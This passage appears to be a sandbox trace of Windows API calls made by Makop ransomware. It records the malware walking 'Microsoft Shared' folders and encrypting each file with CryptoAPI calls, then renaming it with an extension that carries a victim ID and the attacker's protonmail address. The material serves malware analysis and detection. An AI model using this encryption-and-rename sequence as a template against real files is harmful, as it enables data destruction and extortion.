liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0101.769] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x11390, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x11390, lpOverlapped=0x0) returned 1 [0101.770] CryptDestroyKey (hKey=0x48c7128) returned 1 [0101.770] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x11464, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0101.770] SetEndOfFile (hFile=0xf0) returned 1 [0101.779] GetProcessHeap () returned 0x48a0000 [0101.779] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbfe8 | out: hHeap=0x48a0000) returned 1 [0101.779] GetProcessHeap () returned 0x48a0000 [0101.779] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0101.779] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\MSB1XTOR.DLL.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 115 [0101.779] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\MSB1XTOR.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\translat\\msb1xtor.dll"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\MSB1XTOR.DLL.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\common files\\microsoft shared\\translat\\msb1xtor.dll.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0101.782] CloseHandle (hObject=0xf0) returned 1 [0101.782] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb44a7300, ftCreationTime.dwHighDateTime=0x1c3af23, ftLastAccessTime.dwLowDateTime=0x5ba5ff0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xb44a7300, ftLastWriteTime.dwHighDateTime=0x1c3af23, nFileSizeHigh=0x0, nFileSizeLow=0x36000, dwReserved0=0x0, dwReserved1=0x0, cFileName="WTSP61MS.DLL", cAlternateFileName="")) returned 1 [0101.782] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\WTSP61MS.DLL") returned 68 [0101.783] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\WTSP61MS.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\translat\\wtsp61ms.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0101.783] GetProcessHeap () returned 0x48a0000 [0101.783] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0101.783] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0101.783] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0101.783] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0101.784] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0101.784] GetProcessHeap () returned 0x48a0000 [0101.784] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbfe8 [0101.784] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbfe8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbfe8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0101.784] CryptDestroyKey (hKey=0x48c7128) returned 1 [0101.784] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbfe8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbfe8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0101.786] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0101.787] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0101.787] WriteFile (in: hFile=0xf0, lpBuffer=0x48c0640*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c0640*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0101.787] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0101.787] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0101.788] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0101.788] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0101.788] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0101.788] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x36000, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x36000, lpOverlapped=0x0) returned 1 [0101.795] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x36000, dwBufLen=0x36000 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x36000) returned 1 [0101.797] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0101.797] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x36000, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x36000, lpOverlapped=0x0) returned 1 [0101.799] CryptDestroyKey (hKey=0x48c7128) returned 1 [0101.799] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x360d4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0101.799] SetEndOfFile (hFile=0xf0) returned 1 [0101.810] GetProcessHeap () returned 0x48a0000 [0101.810] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbfe8 | out: hHeap=0x48a0000) returned 1 [0101.810] GetProcessHeap () returned 0x48a0000 [0101.811] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0101.811] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\WTSP61MS.DLL.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 115 [0101.811] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\WTSP61MS.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\translat\\wtsp61ms.dll"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\WTSP61MS.DLL.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\common files\\microsoft shared\\translat\\wtsp61ms.dll.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0101.812] CloseHandle (hObject=0xf0) returned 1 [0101.813] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb44a7300, ftCreationTime.dwHighDateTime=0x1c3af23, ftLastAccessTime.dwLowDateTime=0x5ba5ff0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xb44a7300, ftLastWriteTime.dwHighDateTime=0x1c3af23, nFileSizeHigh=0x0, nFileSizeLow=0x36000, dwReserved0=0x0, dwReserved1=0x0, cFileName="WTSP61MS.DLL", cAlternateFileName="")) returned 0 [0101.813] FindClose (in: hFindFile=0x48c70e8 | out: hFindFile=0x48c70e8) returned 1 [0101.813] FindNextFileW (in: hFindFile=0x48c70a8, lpFindFileData=0x65795a0 | out: lpFindFileData=0x65795a0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eab37af, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x1eab37af, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eab37af, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Triedit", cAlternateFileName="")) returned 1 [0101.813] wsprintfW (in: param_1=0x657a7f0, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\Triedit") returned 54 [0101.813] wsprintfW (in: param_1=0x6577d70, param_2="%s\\*.*" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\Triedit\\*.*") returned 58 [0101.813] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Triedit\\*.*", lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eab37af, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x1eab37af, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eab37af, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x48c70e8 [0101.814] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eab37af, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x1eab37af, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eab37af, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0101.814] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eab37af, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x23ef19fc, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eab37af, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-US", cAlternateFileName="")) returned 1 [0101.814] wsprintfW (in: param_1=0x6578d70, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\Triedit\\en-US") returned 60 [0101.814] wsprintfW (in: param_1=0x65762f0, param_2="%s\\*.*" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\Triedit\\en-US\\*.*") returned 64 [0101.814] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Triedit\\en-US\\*.*", lpFindFileData=0x65760a0 | out: lpFindFileData=0x65760a0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eab37af, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x23ef19fc, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eab37af, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x48c7128 [0101.822] FindNextFileW (in: hFindFile=0x48c7128, lpFindFileData=0x65760a0 | out: lpFindFileData=0x65760a0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eab37af, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x23ef19fc, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eab37af, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0101.823] FindNextFileW (in: hFindFile=0x48c7128, lpFindFileData=0x65760a0 | out: lpFindFileData=0x65760a0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eab37af, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x23ef19fc, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eab37af, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0101.823] FindClose (in: hFindFile=0x48c7128 | out: hFindFile=0x48c7128) returned 1 [0101.823] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eab37af, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x23ef19fc, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eab37af, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-US", cAlternateFileName="")) returned 0 [0101.823] FindClose (in: hFindFile=0x48c70e8 | out: hFindFile=0x48c70e8) returned 1 [0101.823] FindNextFileW (in: hFindFile=0x48c70a8, lpFindFileData=0x65795a0 | out: lpFindFileData=0x65795a0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeedaa970, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xeedaa970, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xeedaa970, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="VBA", cAlternateFileName="")) returned 1 [0101.824] wsprintfW (in: param_1=0x657a7f0, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA") returned 50 [0101.824] wsprintfW (in: param_1=0x6577d70, param_2="%s\\*.*" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\*.*") returned 54 [0101.824] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\*.*", lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeedaa970, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xeedaa970, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xeedaa970, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x48c70e8 [0101.826] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeedaa970, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xeedaa970, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xeedaa970, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0101.826] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeedaa970, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xe22f4b00, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xe22f4b00, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="VBA7", cAlternateFileName="")) returned 1 [0101.826] wsprintfW (in: param_1=0x6578d70, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7") returned 55 [0101.826] wsprintfW (in: param_1=0x65762f0, param_2="%s\\*.*" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\*.*") returned 59 [0101.826] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\*.*", lpFindFileData=0x65760a0 | out: lpFindFileData=0x65760a0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeedaa970, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xe22f4b00, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xe22f4b00, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x48c7128 [0101.827] FindNextFileW (in: hFindFile=0x48c7128, lpFindFileData=0x65760a0 | out: lpFindFileData=0x65760a0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeedaa970, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xe22f4b00, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xe22f4b00, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0101.827] FindNextFileW (in: hFindFile=0x48c7128, lpFindFileData=0x65760a0 | out: lpFindFileData=0x65760a0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeedaa970, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xc25685a0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xc25685a0, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="1033", cAlternateFileName="")) returned 1 [0101.827] wsprintfW (in: param_1=0x65772f0, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033") returned 60 [0101.827] wsprintfW (in: param_1=0x6574870, param_2="%s\\*.*" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\*.*") returned 64 [0101.827] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\*.*", lpFindFileData=0x6574620 | out: lpFindFileData=0x6574620*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeedaa970, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xc25685a0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xc25685a0, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x48c7168 [0101.831] FindNextFileW (in: hFindFile=0x48c7168, lpFindFileData=0x6574620 | out: lpFindFileData=0x6574620*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeedaa970, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xc25685a0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xc25685a0, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0101.831] FindNextFileW (in: hFindFile=0x48c7168, lpFindFileData=0x6574620 | out: lpFindFileData=0x6574620*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1574f00, ftCreationTime.dwHighDateTime=0x1be23e3, ftLastAccessTime.dwLowDateTime=0xeedaa970, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x1574f00, ftLastWriteTime.dwHighDateTime=0x1be23e3, nFileSizeHigh=0x0, nFileSizeLow=0x51a5b, dwReserved0=0x0, dwReserved1=0x0, cFileName="FM20.CHM", cAlternateFileName="")) returned 1 [0101.832] wsprintfW (in: param_1=0x6575070, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\FM20.CHM") returned 69 [0101.832] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\FM20.CHM" (normalized: "c:\\program files\\common files\\microsoft shared\\vba\\vba7\\1033\\fm20.chm"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0101.832] GetProcessHeap () returned 0x48a0000 [0101.832] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0101.833] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0101.833] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x65745c8 | out: lpNewFilePointer=0x0) returned 1 [0101.833] WriteFile (in: hFile=0x114, lpBuffer=0x65745d8*, nNumberOfBytesToWrite=0x5, lpNumberOfBytesWritten=0x65745a8, lpOverlapped=0x0 | out: lpBuffer=0x65745d8*, lpNumberOfBytesWritten=0x65745a8*=0x5, lpOverlapped=0x0) returned 1 [0101.838] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x65745ac | out: phKey=0x65745ac*=0x48c71a8) returned 1 [0101.838] CryptSetKeyParam (hKey=0x48c71a8, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0101.838] GetProcessHeap () returned 0x48a0000 [0101.838] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x30) returned 0x48c3738 [0101.838] CryptEncrypt (in: hKey=0x48c71a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48c3738*, pdwDataLen=0x6574590*=0x30, dwBufLen=0x30 | out: pbData=0x48c3738*, pdwDataLen=0x6574590*=0x30) returned 1 [0101.838] CryptDestroyKey (hKey=0x48c71a8) returned 1 [0101.838] WriteFile (in: hFile=0x114, lpBuffer=0x48c3738*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x65745a8, lpOverlapped=0x0 | out: lpBuffer=0x48c3738*, lpNumberOfBytesWritten=0x65745a8*=0x30, lpOverlapped=0x0) returned 1 [0101.838] WriteFile (in: hFile=0x114, lpBuffer=0x65745b0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x65745a8, lpOverlapped=0x0 | out: lpBuffer=0x65745b0*, lpNumberOfBytesWritten=0x65745a8*=0x4, lpOverlapped=0x0) returned 1 [0101.838] WriteFile (in: hFile=0x114, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x65745a8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x65745a8*=0x10, lpOverlapped=0x0) returned 1 [0101.839] WriteFile (in: hFile=0x114, lpBuffer=0x48c3e78*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x65745a8, lpOverlapped=0x0 | out: lpBuffer=0x48c3e78*, lpNumberOfBytesWritten=0x65745a8*=0x80, lpOverlapped=0x0) returned 1 [0101.839] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x65745d0 | out: lpNewFilePointer=0x0) returned 1 [0101.839] WriteFile (in: hFile=0x114, lpBuffer=0x65745c0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x65745a8, lpOverlapped=0x0 | out: lpBuffer=0x65745c0*, lpNumberOfBytesWritten=0x65745a8*=0x8, lpOverlapped=0x0) returned 1 [0101.839] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x65745ac | out: phKey=0x65745ac*=0x48c71a8) returned 1 [0101.839] CryptSetKeyParam (hKey=0x48c71a8, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0101.839] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0101.839] ReadFile (in: hFile=0x114, lpBuffer=0x6370020, nNumberOfBytesToRead=0x51a5b, lpNumberOfBytesRead=0x65745b4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x65745b4*=0x51a5b, lpOverlapped=0x0) returned 1 [0101.851] CryptEncrypt (in: hKey=0x48c71a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6574590*=0x51a60, dwBufLen=0x51a60 | out: pbData=0x6370020*, pdwDataLen=0x6574590*=0x51a60) returned 1 [0101.855] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0101.855] WriteFile (in: hFile=0x114, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x51a60, lpNumberOfBytesWritten=0x65745a8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x65745a8*=0x51a60, lpOverlapped=0x0) returned 1 [0101.858] CryptDestroyKey (hKey=0x48c71a8) returned 1 [0101.858] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x51b24, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0101.858] SetEndOfFile (hFile=0x114) returned 1 [0101.868] GetProcessHeap () returned 0x48a0000 [0101.868] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48c3738 | out: hHeap=0x48a0000) returned 1 [0101.868] GetProcessHeap () returned 0x48a0000 [0101.868] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0101.868] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft 